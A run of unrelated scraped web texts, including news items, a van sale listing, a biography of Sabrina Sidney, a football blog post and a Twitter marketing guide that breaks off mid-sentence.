Winter’s Heart cover art 10. Crossroads of Twilight cover art 11. Knife of Dreams cover art 12. The Gathering Storm cover art 13. The Towers of Midnight cover art 14. A Memory of Light — Darrell K. Sweet unfinished concept art Mr. Sweet passed away before finishing the cover. A Memory of Light cover art — Michael Whelan Wheel of Time Cover Art for the US Hardback Editions -Seller Notes: “ Museum Condition-meaning VGC for something that was USED (though minimally) in real life-NOT showroom or MINT condition! Driven over 1300 miles since November 1, 2018-mainly to test/sort all the issues out. Was stored for about 10 years prior to that. Shake down driving worked! Issues replaced! New: Distributor, Coil, Ignition Control Module, Fuel Pump, Tune-Up, Oil Filter, Air Filter, In-Line Fuel Filters, Valve Cover Gaskets and probably a few other things in that time. Tires have only about 1500 miles on 5 meaty bias plies. Originally from KY, and though not "southwest pristine" has very minimal rust. All known interior auxiliary electrical works, but interior electrical outlets unknown-all wiring intact, but not sure how system works, and not an electrician, so don't want to push my luck. Minor paint chips or pin-stripe imperfections. 4x4 works as of 12/2018. About as good as something 37 years old that WAS driven 32,000 mile can be! Great for Van Life Expedition Van build out ” -Hawaii may have been the fiftieth state to join the U.S., but when the calendar flips over to 2016 after midnight tonight, it will become the first state to raise the legal smoking age to 21. Back in April, Consumerist reported that Hawaii was poised to become the first state to raise the minimum age for smoking to 21 after a bill changing the age requirements passed the Hawaii Legislature. Governor David Ige then signed the bill, which bars people under the age of 21 from smoking, buying, or possessing both traditional and electronic cigarettes. Anyone caught in violation of the law would be fined $10 for the first offense, with subsequent incidents prompting a $50 fine or mandatory community service. Businesses that are caught selling tobacco products to people under the age of 21 will be fined $500 for their first violation and up to $2,000 for subsequent offenses, Buzzfeed News reports. While Hawaii is the first state to raise the legal smoking age to 21, a number of municipalities, including Hawaii County and New York City, have done so on a local level. Washington state, Utah, and Colorado have also considered boosting the legal minimum age. Proponents of such laws say raising the legal age to buy cigarettes to 21 would result in fewer smokers. In Hawaii, the state’s Department of Health says 5,600 kids try smoking every year, with 90% of daily smokers starting the habit before they turn 19. [via BuzzFeed News] -Dutch and Canadian technology could be key to managing UK pigs more effectively, including the use of sound to sense the early signs of disease. Technology that detects how pigs are feeling will be used on farms within years to help producers find ways to manage them more effectively, according to a leading scientist. Precision farming tools will measure the mental state of individual animals, allowing farmers to make decisions about rearing pigs, from the way they are housed to the feed they are given. Daniel Berkmanns, professor in bioengineering at KU Leuven in Belgium, says real-time monitoring of pigs’ actions, movements and interactions could help improve the health, welfare and performance of herds. See also: Farmer Focus: Pig performance improves just in time for hog roasts “I am convinced we will see the mental state of animals being monitored on a commercial basis in the next few years,” he says. “Pigs are intelligent animals and we should use their intelligence. If you put animals in a pen they will behave like stupid animals, but if we recognise that they are individuals with different needs and responses, we can react accordingly. “It will enable us to make things more interesting for them and us, and potentially result in better outcomes.” Prof Berkmanns says the technology is almost ready to be introduced into broiler units, and it is only a matter of time before it could be used on pig farms. “The technology is just at the beginning,” he adds. “Continuous, real-time monitoring through image analysis, sound analysis and sensors could have a huge array of uses such as monitoring health and welfare.” Prof Berkmanns says researchers at the University of Ghent have devised a system to analyse the sounds pigs make to detect illness. “Most disease in pigs is respiratory. With some diseases you can detect signs just three hours after infection,” he says. “The system detects a sick cough and sends an SMS message to the farmer, who can go out and decide if they need to call a vet. This kind of system reduces the use of antibiotics on farm.” Another system being tested involves monitoring pigs’ drinking behaviour. “We can create models to estimate water use to within 92% or 200ml over 13 days,” Prof Berkmanns says. If water use drops, farmers are alerted and inspect what is happening on the unit. “This technology doesn’t mean that farmers will be replaced by the technology,” he adds. “It has to be part of the management system. “The idea with monitoring is that daily checks are taken over by the technology and the farmer enters to solve the problem, not find it. “It doesn’t have a value if it is just interesting technology, it has to be able to help the farmer make improvements.” Tailored diets could cut feed costs Feeding pigs diets tailored to their individual daily needs can slash feed costs and ensure the sustainability of the UK pig industry, say scientists. Using precision farming technology to ensure pigs are only provided with the nutrients they need can result in feed costs being cut by as much as 10%, research at the Department of Agriculture and Agri-Food in Canada found. While traditional three-phase feeding aims to maximise growth by ensuring the top-performing animals have the nutrients they require, it does not take into account that every pig’s nutritional needs are different on different days, says the department’s Candido Pomar. Often pigs are overfed nutrients, which are excreted in faeces and urine, creating a waste of feed and a negative effect on the environment, he says. Instead, investing in technology that will allow pigs to receive formulations based on their real-time needs will vastly improve efficiency. “Precision technologies help get the right amount of feed to the right pig at the right time,” says Dr Pomar. “It is a total shift in pig nutrition. Instead of basing their nutritional requirements on estimations collected from data, feeding with technology depends on an individual animal’s health, genetics and nutritional status, as well as external factors such as stress and management systems.” In experiments run by Dr Pomar and his team, 60 pigs were fed diets with varying amounts of lysine from automatic feeders. Each pig was tagged and identified by the feeder and given a serving of 15-25g of feed. The pigs could return to the feeder as many times as they liked. During the experiment, the pigs visited the feeder up to 110 times a day, but the overall amount of feed they consumed was 8-10% lower than traditional three-phase feeding. Further trials discovered that typical lysine use could be reduced by as much as 27% without having any effect on growth performance, resulting in a 50% reduction in nitrogen excretion, Dr Pomar says. “Precision farming is an effective approach to improving efficiency, reducing nutrient excretion and reducing costs,” he adds. Sound sensors could detect some diseases within three hours of infection and alert farmers by text. More from from the Bpex Pig Innovation Conference 2014 -Croatia's independent presidential candidate Bandic talks to his supporters after release of first unofficial results at his campaign headquarters in Zagreb Thomson Reuters ZAGREB (Reuters) - Croatian anti-graft police arrested the mayor of Zagreb, Milan Bandic, and several of his associates on Sunday on suspicion of corruption and abuse of office, Croatian media reported. The police and the state prosecutor said only that several people from the Zagreb administration had been arrested but did not name them, in line with usual practice. But all local media and the national televisions named Bandic as one of those arrested. Reports have linked Bandic to a number of corruption probes in the past decade but he has never been interrogated or detained until now. "After several months of a complex criminal investigation, several persons have been arrested on suspicion of illegal activities in the city of Zagreb and the Zagrebacki Holding (the city's company in charge of communal services)," the state prosecutor's office DORH said in a statement on its website. It gave no details of possible charges, saying only that "a number of corruption crimes are being investigated". Bandic, a former Social Democrat who left the party in 2009 to run as an independent candidate in the presidential election that year, has been at the helm of the Croatian capital since 2000. Zagreb has almost a quarter of the country's 4.4 million people and is the financial and economic capital of the former Yugoslav republic, which joined the EU in July last year. Croatia launched an extensive anti-corruption drive in 2010 to boost its faltering EU membership bid. It has since tried and convicted several top state officials, including the former Prime Minister Ivo Sanader. (Reporting by Zoran Radosavljevic; editing by Andrew Roche) -Sabrina Bicknell (1757 – 8 September 1843), better known as Sabrina Sidney, was a British foundling girl taken in when she was 12 by author Thomas Day, who wanted to mould her into his perfect wife. Day had been struggling to find a wife who would share his ideology and had been rejected by several women. Inspired by Jean-Jacques Rousseau's book Emile, or On Education, he decided to educate two girls without any frivolities, using his own concepts. In 1769, Day and his barrister friend, John Bicknell, chose Sidney and another girl, Lucretia, from orphanages, and falsely declared they would be indentured to Day's friend Richard Lovell Edgeworth. Day took the girls to France to begin Rousseau's methods of education in isolation. After a short time, he returned to Lichfield with only Sidney, having deemed Lucretia inappropriate for his experiment. He used unusual, eccentric, and sometimes cruel, techniques to try to increase her fortitude, such as firing blanks at her skirts, dripping hot wax on her arms, and having her wade into a lake fully dressed to test her resilience to cold water. When Sidney reached her teenage years, Day was persuaded by Edgeworth that his ideal wife experiment had failed and he should send her away, as it was inappropriate for Day to live with her unchaperoned. He then arranged for Sidney to undergo experimental vocational and residential changes—first attending a boarding school, then becoming an apprentice to a dressmaker family, and eventually being employed as Day's housekeeper. Having seen changes in Sidney, Day proposed marriage, though he soon called this off when she did not follow his strict instructions; he again sent her away, this time to a boarding house, where she later found work as a lady's companion. In 1783, Bicknell sought out Sidney and proposed marriage, telling her the truth about Day's experiment. Horrified, she confronted Day in a series of letters; he admitted the truth but refused to apologise. Sidney married Bicknell, and the couple had two children before his death in 1787. Sidney went on to work with schoolmaster Charles Burney, managing his schools. In 1804, Anna Seward published a book about Sidney's upbringing. Edgeworth followed up with his memoirs, in which he claimed Sidney loved Day. Sidney herself, on the other hand, said she was miserable with Day and that he treated her as a slave. Early life [ edit ] The now-demolished Foundling Hospital, where Sidney was abandoned Sidney was born in 1757 in Clerkenwell, London, and was left at the Hospital for the Maintenance and Education of Exposed and Deserted Young Children (more commonly known as the Foundling Hospital) in London on 24 May 1757 by an anonymous individual. This person left a note explaining that the baby's baptismal name was Manima Butler and that she had been baptised in St James's Church, Clerkenwell. Her name was likely a misspelling of Monimia but there were no baptismal records for any spelling of the name at the parish. One of the requirements of the Foundling Hospital was that babies were to be less than six months old at the time of admittance, but the hospital did not keep more accurate records of age. Another requirement was that foundlings were given a new name and a reference number, so Sidney became Girl Ann Kingston no. 4759. She was taken in by a wet nurse, Mary Penfold, who brought her to Wotton, Surrey, where she remained until 1759, when she was two years old. Although it was usual for foundlings to remain with their wet nurse until the age of five or six, the Foundling Hospital had received an influx of new babies and moved many children who no longer required nursing, including Sidney, to the Shrewsbury branch of the Foundling Hospital. The Shrewsbury building was not completed until 1765, so in the meantime Sidney and another foundling were cared for by a nurse, Ann Casewell, at her home. Day's experiment [ edit ] Background [ edit ] Thomas Day in 1770 Thomas Day was a bachelor who had inherited his fortune from his father when he was an infant. Described as having a face pockmarked from smallpox, a brooding personality, and a short temper, Day attended Corpus Christi College, Oxford, to study philosophy. It was there that he decided to dedicate his life to becoming a virtuous man, shunning luxury and focusing on altruism. Around the same time he developed a list of requirements for his future wife, that she should be subservient and pure but also able to discuss philosophy and live without frivolities. These high standards, combined with his generally unlikeable personality, meant that his advances were rejected by several women while he was at university. Day was introduced to the work of Jean-Jacques Rousseau by his friend Richard Lovell Edgeworth; the pair shared a particular affinity for Rousseau's work on education in the book Emile, or On Education. On leaving Oxford, Edgeworth and Day attempted to teach Edgeworth's first son, Dick, in the style of Emile, a learning-by-doing approach. Accompanying Edgeworth to Ireland as Dick's tutor, Day fell in love and was spurned first by Edgeworth's sister, and then by at least three other women in quick succession. Day came to the conclusion that he would not be able to find a wife who would meet his high standards and largely blamed women's education for this. Inspired by the character of Sophie in Rousseau's Emile, he resolved to "create" his ideal wife by raising her from adolescence, using the techniques laid out in the book. Day was approaching financial independence, when he would have full access to the money left to him, and conspired with his barrister friend, John Bicknell, to find two girls who could be taken into his care to be groomed as a perfect wife. Choosing the girls [ edit ] Shrewsbury Orphan Hospital, which now forms part of Shrewsbury School Just after Day's 21st birthday in June 1769, he and John Bicknell travelled to the Shrewsbury Orphan Hospital to choose the first girl for his experiment. Sidney was 12 years old at the time, described as "a clear auburn brunette, with darker eyes more glowing bloom and chestnut tresses". She was slender, and had long eyelashes and a pleasant voice. Day was struggling to choose a girl for the experiment, and Bicknell quickly picked her out. The pair did not tell the orphanage secretary, Samuel Magee, about the planned experiment. Instead they told him that she was to be indentured as a servant at Edgeworth's country house in Berkshire, waiving the £4 (equivalent to £545 in 2018) fee they would have received for the apprenticeship. In line with the orphanage's requirements that responsibility be held by a married man, Edgeworth would be legally accountable for Sidney, despite him not being present nor even aware of the arrangement. The apprenticeship was approved by the governors of the orphanage on 30 June 1769; Day and Bicknell collected Sidney on 17 August. She was brought to lodgings in London, where she met Edgeworth for the first time. Day changed her name to Sabrina Sidney: Sabrina, the Latin name for the River Severn, which her orphanage overlooked; and Sidney after Algernon Sidney, one of Day's heroes. Day became a benefactor, and subsequently governor, of the Foundling Hospital, and on 20 September 1769 he chose another girl for his experiment, renaming her Lucretia after the Roman matron. Day had Bicknell draw up a contract to define the terms of the girls' indenture. Within one year, he would choose which girl he intended to marry, and the other would be given as an apprentice to a woman in a trade, along with a fee of £100 (equivalent to £13,630 in 2018). He would give a further £400 (equivalent to £54,519 in 2018) upon the girl's marriage or if she were to start her own business. He would marry his intended bride or, if he decided not to, would gift her the sum of £500 (equivalent to £68,149 in 2018). Bicknell acted as guarantor for the contract. Education in France [ edit ] Day wished for the girls to be isolated from external influences while he educated them so, at the beginning of November 1769, he decided to move them to France. It is also possible that he did this to protect himself from the legal ramifications of his experiment, as well as societal gossip. The trio travelled over 600 miles to Avignon, renting a house in le quartier des fusteries. The girls could speak no French and Day employed no English-speaking servants, to be sure that he would be the only person to influence them. Day focussed on the girls' education, in the style of Emile. He expanded on the teaching they had received from the Foundling Hospital in reading and basic arithmetic, and also taught them how to write. He believed that the girls should be able to manage the house, so they were charged with cooking and cleaning as well as other housework. Finally, he wanted to be able to debate complex concepts with them, so he taught them rudimentary theories in physics and geography, tasking them with observing the changing of the seasons, and recording details of sunrises and sunsets. He also imparted to them Rousseau's philosophical contempt for luxury. During his stay in France, Day regularly corresponded with Edgeworth. He said that both girls were passionate about their studies, Sidney more so. Day also related anecdotes, one concerning a trip on the Rhone where the boat overturned and he rescued both girls single-handedly as neither could swim. He described an incident in which he challenged a French Army officer to a duel, even producing a set of dueling pistols, simply as a manner of engaging or encouraging conversation with his young students; the officer apologised and explained he did not mean any offence, calming the situation. Accounts by 19th-century historians suggest that Day grew impatient with the girls when they became bored with their lessons and began to squabble, and that he also spent significant time nursing them through a bout of smallpox. These accounts may have been exaggerated as both girls had been inoculated against smallpox, and their strict upbringing meant they would not have rebelled excessively. Return to England [ edit ] While in France, Day struggled over which girl to choose to take forward with the experiment. Both were beautiful; Lucretia was more cheerful, Sidney more reserved and studious. The trio returned to England in spring 1770, by which time Day had finally decided that he would carry on with Sidney's training. Edgeworth explained that each of Day's projects with Sabrina had been successful, but he had come to the conclusion that Lucretia was "invincibly stupid". Day apprenticed Lucretia to a milliner in Ludgate Hill, and took Sidney to Stowe House in Lichfield, where her training could continue. The household would have had no more than a couple of servants, leaving Sidney to maintain the four floors of the house. Her tutoring continued at the same time, with one-on-one lessons from Day on a variety of subjects. Stowe House, Day's Lichfield residence, viewed across Stowe Pool, the lake into which Sidney waded Day extended his tutoring to fortify Sidney against hardship, again based upon his interpretation of Rousseau's Emile. The book explains the concept of "negative education", protecting a person from vices rather than teaching them virtues. Day interpreted this to mean that submitting Sidney to tests of endurance would help to create a woman with hardened nerves. One example given by Rousseau was helping Emile become accustomed to explosions such as fireworks by firing pistols with small amounts of powder near him, gradually increasing the amount of powder. Day, on the other hand, fired a pistol loaded with powder directly at Sidney's petticoat, not telling her that there was no shot in it. In an attempt to increase her resistance to pain he would drop hot sealing wax on her back and arms or stick pins in her, commanding her not to cry out. He would test her ability to keep secrets by telling her that his life was in danger and she should tell no one. To increase her resistance to the cold, Day instructed Sidney to wade into Stowe Pool until the water reached her neck, then lie in the nearby meadow until her clothes and hair had dried in the sun. Finally, to test her resistance to luxury, he gave her a big box of handmade silk clothes and had her throw them on a fire. Day had limited success with these techniques. Sidney became able to endure hot wax dripped on her arm without flinching, but she did tell others of his secret techniques, and could not help screaming whenever he fired his gun at her. During their time at Stowe House, Day introduced Sidney to members of the local intellectual circle, including the priest at Lichfield Cathedral, Thomas Seward. Seward and his wife hoped that Day might be a suitor for their daughter, Anna, and Anna's writings of the time show her interest in Day. Anna was also enchanted by Sidney, who became the link between Day and the Seward family. Anna took a keen interest in Sidney's story, as her father had taken in Honora Sneyd when Sneyd's mother had died. Moving away from Day [ edit ] Anna Seward, acquaintance of Day who questioned the propriety of his relationship with Sidney By 1770, Sidney began to question Day's techniques and to complain about the chores she had to perform. In December, the propriety of Day's arrangement with Sidney was questioned by the local community, especially Anna Seward. Edgeworth joined Day for Christmas at Stowe, and convinced him that his experiment had been unsuccessful. He also persuaded Day that Sidney was too old to live with him without a chaperone. Day appeared to accept Edgeworth's point of view, as he paid for Sidney to attend Sutton Coldfield boarding school in Warwickshire early in 1771. She remained at the boarding school for three years, including weekends and holidays, with infrequent visits from Day. The school normally focused on preparing high society daughters for marriage, with subjects such as needlework and the arts. Day stipulated that she was to be taught academic subjects but should not dance or learn music. In 1774, Day visited Sidney to inform her that she would be apprenticed to the Parkinsons, a family of dressmakers, as Day believed the profession would not expose her to temptation. She was delivered to the family with the stipulation that she should work hard at chores and be denied luxuries. The Parkinsons, however, treated Sidney well, to the extent that Day later chastised them for not instilling "industry and frugality" in her. Less than a year later the Parkinsons' business went bankrupt, leaving Sidney without an apprenticeship and nowhere to live. Day arranged for her to stay with his friends, the Keir family, and implied that she could take on the role of housekeeper at his own home. Day again considered Sidney, who was now 18, a potential wife, but did not let her know of his intentions, nor that her upbringing was part of his experiment. Broken engagement [ edit ] Over the next few months, Day returned to moulding Sidney to meet his requirements for the ideal woman, choosing what she would wear, and pushing his ideas of frugality upon her. Sidney took on all the ideas willingly and Day believed he had finally created a woman who would meet all his requirements. He was so confident that he talked openly of marrying Sidney, though she was unaware of his intentions. Eventually one of Day's friends let her know that he hoped to marry her. Sidney confronted Day about the rumours and he admitted they were true, neglecting to mention that he had hoped to marry her since the day he met her. Sidney did not refuse the proposal, so Day planned the wedding while she considered it further and eventually agreed. During the preparations, Day left Sidney with friends for a few days, giving her strict instructions on what she should wear. When he returned to find her in an outfit that did not meet his requirements, he flew into a rage and Sidney fled for a few hours, so Day called off the engagement. Sidney was sent to a boarding house in Birmingham and given a stipend of £50 per annum (equivalent to £6,180 in 2018). Day resolved never to see her again. Marriage [ edit ] "I never thought I had a right to sacrifice another being to my own good or pleasure; but whatever else ensued you would be placed in circumstances infinitely more favourable to happiness than before" Day's explanation of his behaviour to Sidney After her engagement to Day ended, Sidney spent eight years at boarding houses around Birmingham. Day met and went on to marry an heiress, Esther Milnes, in 1778. Sidney met an apothecary, Jarvis Wardley, who proposed marriage in an acrostic poem. She contacted Day for advice, and he told her in absolute terms not to marry Wardley, even writing an acrostic poem for her to use in turning him down. In 1783, she had become a lady's companion in Newport, Shropshire. It was there that she was approached by Day's friend, the man who helped choose her at the foundling hospital, John Bicknell. Bicknell was single and had spent the majority of his earnings from his law career in gambling dens. He had not paid much attention to Sidney since selecting her with Day, but proposed marriage immediately. Sidney again consulted Day on the prospective engagement. Day did not approve, claiming the age difference was too great, although Bicknell was only two years older than Day. Bicknell decided to tell Sidney the truth about the experiment, that she was hand-picked to be Day's wife from childhood, and that all of Day's actions were designed to further his goal of turning her into the ideal bride. Horrified, Sidney wrote to Day to confront him over Bicknell's statements. Day admitted the truth but refused to apologise. After a series of letters, Day gave his consent to the marriage, telling her that the letter would be his final communication with her. Final residence of Sabrina Bicknell, at 29 Gloucester Circus, Greenwich Bicknell and Sidney married on 16 April 1784 at St Philip's Cathedral, Birmingham. The same day, Day paid the £500 wedding dowry he had stipulated in the contract he had set up with Bicknell, ending his £50 (equivalent to £6,009 in 2018) per year stipend. The couple bought a house in Shenfield and had two children, John Laurens Bicknell and Henry Edgeworth Bicknell. Bicknell carried on with his gambling habits, squandering the remaining money over the following three years. On 27 March 1787, after three years of marriage, John Bicknell died of a paralytic stroke. Sidney and her two children were now left without an income. Day sent her a new stipend of £30 per year, (equivalent to £3,708 in 2018) which was matched by Edgeworth. Her husband's barrister friends raised £800 (equivalent to £98,873 in 2018) for the widow and her children. Sidney found a role as housekeeper for Charles Burney, as well as general manager of his schools in Chiswick, Hammersmith, and Greenwich. It was at his Greenwich school that her own children were educated. Day's widow, Esther, continued paying Sidney's allowance after his death in 1789, and Sidney carried on her work with Burney until she was 68. By this time she was living in a four-storey house in Gloucester Circus, Greenwich, with her own servants. On 8 September 1843, Sidney died at her home of a severe asthma attack. She was buried at Kensal Green Cemetery. Legacy [ edit ] Sidney asked her friends not to discuss her past as she believed her humble beginnings, and Day's mistreatment of her, would tarnish her reputation. Anna Seward nevertheless wrote about Sidney's upbringing in her 1804 work Memoirs on the Life of Dr. Darwin. As Seward publicly identified Sidney in the book, it was criticised by the press, and Sidney's son John was very angry to learn of his mother's past. In his 1820 memoirs, Edgeworth stated his belief that Sidney and Day made a good match and that she loved him. Sidney disagreed with these accounts, saying that Day had made her miserable, and that she had effectively been a slave. Sidney's education has been compared to George Bernard Shaw's Pygmalion, which may have been inspired by her story. Strong parallels have also been drawn between Sidney's upbringing and two novels of 1871: Henry James's Watch and Ward, and Anthony Trollope's Orley Farm. The story of her life has been told in Wendy Moore's 2013 book How to Create the Perfect Wife and dramatised in the 2015 BBC Radio 4 play The Imperfect Education of Sabrina Sidney. References [ edit ] -The Alabama-Coushatta tribe plans to hold a job fair soon for their new Class II casino, Naskila Entertainment near Livingston, Texas. On Tuesday April 19 Tribal members are invited for either of two sessions to be held at the Tribal Multi-Purpose Center (Gym). Tribal Members and the general community are welcome to attend on Wednesday, April 20th. The Multi-Purpose Center is located at 333 State Park Rd 56. Tuesday’s job fair will be held from 11:30 a.m. to 1:30 pm and 4:30 p.m. to 7:00 p.m. with Wednesday’s running from 11:30 a.m. to 1:30 pm and 3:00 p.m. to 6:00 p.m. The Job Fair will be facilitated by Naskila Management along with Tribal departmental staff. The open meetings will allow interested people to get face to face time and learn more about career opportunities. A variety of positions are available from managerial and technical to service and support. A flyer, also posted on the Entertainment Center’s Facebook page offers a phone number for those with questions. Our phone calls Friday and Saturday went directly to voice mail and a Friday email has not been returned yet. We are monitoring social media and local news outlets for updated information in regard to an opening date, but expect the venue to open on or before May 1st. The tribe has not offered Class II slot machines since 2002, since being forced by court decisions to close a lucrative operation that generated about $1 million per month for the tribe and ran less than a year. The only other tribal casino to operate in the state is the Kickapoo Lucky Eagle Casino in Eagle Pass, which has been open since 1996. Texans, not in the “Deep East” also have a casino cruise ship available out of Aransas Pass – otherwise the state’s denizens are forced to travel out of state to “get their spin on” across the border at other tribal casinos like the Chickasaw Nation’s WinStar World Casino and Resort in Oklahoma. In October 2015 the National Indian Gaming Commission ruled that the tribe, along with the Tigua Tribes (aka Ysleta Del Sur Pueblo) in Texas, had been restored to federal recognition a year before the Indian Gaming Regulatory Act was passed; affirming both tribes’ jurisdiction over their sovereign lands. On November 3, 2015 the tribe announced that they had received federal approval to resume electronic gaming. The casino is located at 540 State Park Road 56, in Livingston, Texas and will offer 15,000 square feet of entertainment space with about 10,000 of that devoted to gaming on over 350 machines. A restaurant is also planned for the refurbished center. The state’s Charitable Bingo operators have been losing money for the last several years with some being shut down by the state for not generating positive income. They are staunchly opposed to the state’s tribes self-determination on sovereign land on which the state has no jurisdiction to enforce its draconian gambling laws. The Charitable bingo operators were also heavily influential in getting the Texas Racing Commission to kill regulations allowing so-called Historical Racing machines. Statewide, the only legal gambling outlets are a state lottery, parimutuel wagering, and charity bingo. -Four minutes from the end of Manchester City's remarkably comfortable win over QPR on Sunday, the entire Etihad stadium rose to its feet to applaud an oncoming player. Yun Suk-Young was replaced by former City star Shaun Wright-Phillips and there was a show of respect for the winger, as there had been earlier in the game for Richard Dunne, to mark just how much the fans remember his efforts while playing at Eastlands. That team also included Joey Barton, although he's since become something of a pantomime villain. That's likely to do with the number of indiscretions to his name at City, including his acrimonious departure after an incident with Ousmane Dabo, and then his attempts to "take some of them with [him]" as he went berserk in that game in 2012. The thing is, those City fans that applauded Wright-Phillips onto the turf on Sunday were pleased to see him back. He epitomised everything supporters love to see, back when he was one of the club's only shining lights. Throughout the end of the Kevin Keegan era and the start of the Stuart Pearce reign, there wasn't a lot for those in the stands to cheer. FA Cup exits, relegation battles, European near-misses; all of these came and went and the pitch was filled with mediocrity. Except on the right flank, where an academy product could beat three or four players and smash an effort into the top corner from range. In one moment, he could inject some energy into a dour performance and give the dwindling atmosphere a buzz. He was going to be an England regular, too. As was the way for City back then, they were a selling club, although they have since benefited from the flip side of that coin. If there was a player performing well who was "too good" for them, then a decent bid from a top side would no doubt result in a transfer. That's exactly what happened. Pearce's side was desperate for investment, but the club had no money whatsoever and was actually close to going under. So when Chelsea bid £21 million for the England prospect in 2005, the manager's hands were tied and the offer was accepted. Even now, the money the club received for the winger is their highest, although it will soon be surpassed when the sale of Alvaro Negredo to Valencia is triggered at the end of the season. The fans were devastated to see Wright-Phillips leave, and it only later emerged in an interview with the Blue Moon Podcast that he was just as upset to be on his way. "I didn't actually have a choice," he said. "Everybody seemed to think it was something that I wanted to do, but I was happy playing for City. I didn't want to leave, but [staying] wasn't an option I had. City were in a bad situation and the money they were offered was hard for them to refuse. "In the car on the way down I was crying because I didn't want to go." Shaun Wright-Phillips applauds the Manchester City crowd as he receives an ovation while warming up at the Etihad. That puts Wright-Phillips' remarks that re-signing for Mark Hughes' Manchester City was like "coming home" into more context, even if throughout his second spell it always felt for the fans like things were never quite the same. The time away had left him unable to be the influence he once was. That's not to say he was poor when he came back, just that he never hit his previous heights. It was almost as if his move back to the north was what he needed to inject some life back into his career, much the same way he used to do to City's performances in 2003. He scored four times in three seasons at Chelsea, a tally he'd equalled in his sixth game after his return. As much as Wright-Phillips was a crowd hero, he never really got to experience the good times he probably deserved with City. He played a bit part in the 2011 FA Cup-winning side, but had moved on by the time the title came to the Etihad the next season. By a bizarre quirk of fate, though, he was on the pitch when Roberto Mancini's side snatched the championship, playing for QPR that afternoon. The applause reserved for those players who were loyal to the club and did their best to brighten up another gloomy day in Manchester will always remain strong. Although for Wright-Phillips, you can't help wondering whether things might have been different if he'd never been shown the door a decade ago. David Mooney is ESPN FC's Manchester City blogger. Twitter: @DavidMooney -Turner Broadcasting System Inc. will cut its workforce by about 10 percent, or 1,475 workers, in the coming weeks through layoffs, buyouts and other measures, the company announced Monday. Atlanta-based Turner, which is owned by Time Warner, said 975 of the job reductions will be in metro Atlanta, which is taking the brunt of the cuts. In addition to TNT, Turner’s holdings include CNN, TBS, Cartoon Network, truTV, HLN and other networks and online sites. The company said fewer than 300 of the job cuts will be at CNN Worldwide. The company said the cuts are being made to reduce redundancies, focus resources and prioritize investment in programming, monetization and innovation. “It’s our responsibility as business leaders to focus Turner’s talent pool where individuals and groups will deliver the greatest return for the company, for Time Warner and for our shareholders,” Chief Executive Officer John Martin said in an internal memo to employees, obtained by The Atlanta Journal-Constitution. Atlanta Mayor Kasim Reed said he expected Turner to preserve as many jobs locally as possible. “For more than 30 years, Turner Broadcasting System (TBS) has served as the leading news, entertainment, and animation company in our city, state and region,” Reed said in a statement. “Despite Turner’s decision to reduce staff globally, including operations in Atlanta, we are confident that its leadership team will work to preserve as many of the 5,500 full-time positions located in the city where TBS was founded.” Turner said the cuts from among 14,000 full-time positions worldwide will come at all levels from across the company’s news, entertainment, kids, young adult and sports networks and businesses, as well as corporate functions, in 18 Turner locations around the world. The cuts are being made through a combination of voluntary buyouts, layoffs and other measures. Employees whose positions are directly impacted will be advised over the next two weeks and will be offered severance pay for transition, the company said. -What is Twitter marketing? It’s what you want it to be. Want to learn more about your customers? Make your brand a little more human? Build buzz about your new product? Make an influencer’s day? Provide lightning-fast customer support? Start mopping up after a PR disaster? Publicly humiliate trolls? Twitter’s got you covered. Whatever your goals, there’s no question Twitter can be a powerful tool to help you achieve them. If you’re just starting out with Twitter, this guide will show you how to craft a winning strategy. If you’re already using the platform to grow your business, jump to our section on smart Twitter tips for business. Bonus: Download the free strategy guide that reveals how Hootsuite grew our Twitter following to over 8 million users and learn how you can put the tactics to work for your business. How to create a Twitter marketing strategy A well-crafted strategy is the foundation for success—and it’s what separates the most effective brands on Twitter from the also-rans. Without a clear plan, you will waste time and money tweeting without a clear understanding of how your activities are helping your organization meet its goals. And when it comes time to review your performance, you’ll struggle to prove what you’ve achieved. And that will make it hard to make the case for increasing your team size or budget. Every hour you spend on research and strategy will pay off tenfold. We promise. Here’s what you need to do: Define success and set goals Okay, so you’ve got a good answer ready when your boss asks, “Why are we on Twitter?” Then come the two follow-up punches: “Are we on track to meet our goals? And… what are they again?” Answering these questions isn’t hard if you do your homework. Start with a list of your organization’s current high-level business objectives, such as: Generate leads and sales Increase customer loyalty Build brand and product awareness Decrease customer support costs From these objectives, craft specific and measurable goals. This will make it easy for you to evaluate progress and prove success. For example, if your objective is to provide your sales team with high-quality leads through social, your goal might be “use Twitter to drive 30 email sign-ups per month.” With objectives and goals in place, remember to take time to benchmark the current state of your team’s performance. This will help you measure your progress toward your goals, proving that your strategy is producing real, measurable results for your business. Defining and measuring success on social media can be challenging, so taking the time to do this right will really set you apart. Our guide to the ROI of social media breaks down the process for you. Research the competition Gathering information about your competitors’ strengths and weaknesses on social is critical. Not sure where to start? Read our quick guide, and then use this competitive analysis template to design a social marketing strategy that will leave your competitors in the dust. Identify your target audience Your brand can’t be all things to all people on Twitter—nor should you want it to be. Know who you’re targeting and craft a strategy that focuses on delivering real value to them. This will encourage them to engage with your brand and eventually become customers and advocates. While you’re at it, check out our guide on how to attract and engage more Twitter followers. Audit and take charge of your Twitter accounts Depending on the size of your company and your goals, you may want to use a single Twitter account or multiple accounts for different departments or functions. If multiple people in your organization are already using Twitter, auditing and consolidating existing accounts is key. How important is this? When the Vancouver Canucks hockey team deleted rogue accounts and launched official social media channels as part of their social strategy, they were able to strategically grow their Twitter fan base by 800 percent. Integrate Twitter with overall social strategy Teams working in large (or growing) organizations can find themselves working in silos. If you find this happening to your social marketing team, make sure you keep tearing down those silos and stay connected to other teams. Their work can be a rich source of information and assets to share with your followers. And they may be gathering insights that can open up new opportunities for your Twitter strategy. Keep your Twitter presence unique While it’s possible—and easy—to post the same content to multiple social networks, cross-posting isn’t an approach we recommend. Each network has its own unique characteristics and user base, so while applying the same strategy to multiple networks might seem like a shortcut, it might cost you more in engagement and authenticity than it saves you in time and effort. Nail your strategy on one network at a time, keeping it unique and fresh. For a head start charting your strategy, download our social media templates that cover everything from social media strategy and audits to content calendars and bulk message uploading for Hootsuite. 10 useful Twitter marketing tips for business 1. Use Twitter tools to get more done Twitter’s website and apps are great for sending the occasional tweet or direct message—but to manage your Twitter marketing at scale, you need the right tools for the job. Our list of 33 Twitter tools you can use in your marketing strategy is broken down by function to help you find the tools you need to market your business more efficiently on Twitter. Here are just a few of the things these tools will help you do faster and better: Generate leads by learning more about the people engaging with your brand, why they’re sharing your content, and who they’re sharing it with. by learning more about the people engaging with your brand, why they’re sharing your content, and who they’re sharing it with. Find industry influencers to connect with. to connect with. Analyze your competition to find detailed information on their tweets, mentions, hashtags, followers, and more. to find detailed information on their tweets, mentions, hashtags, followers, and more. Find trending topics by content, hashtags, search terms, 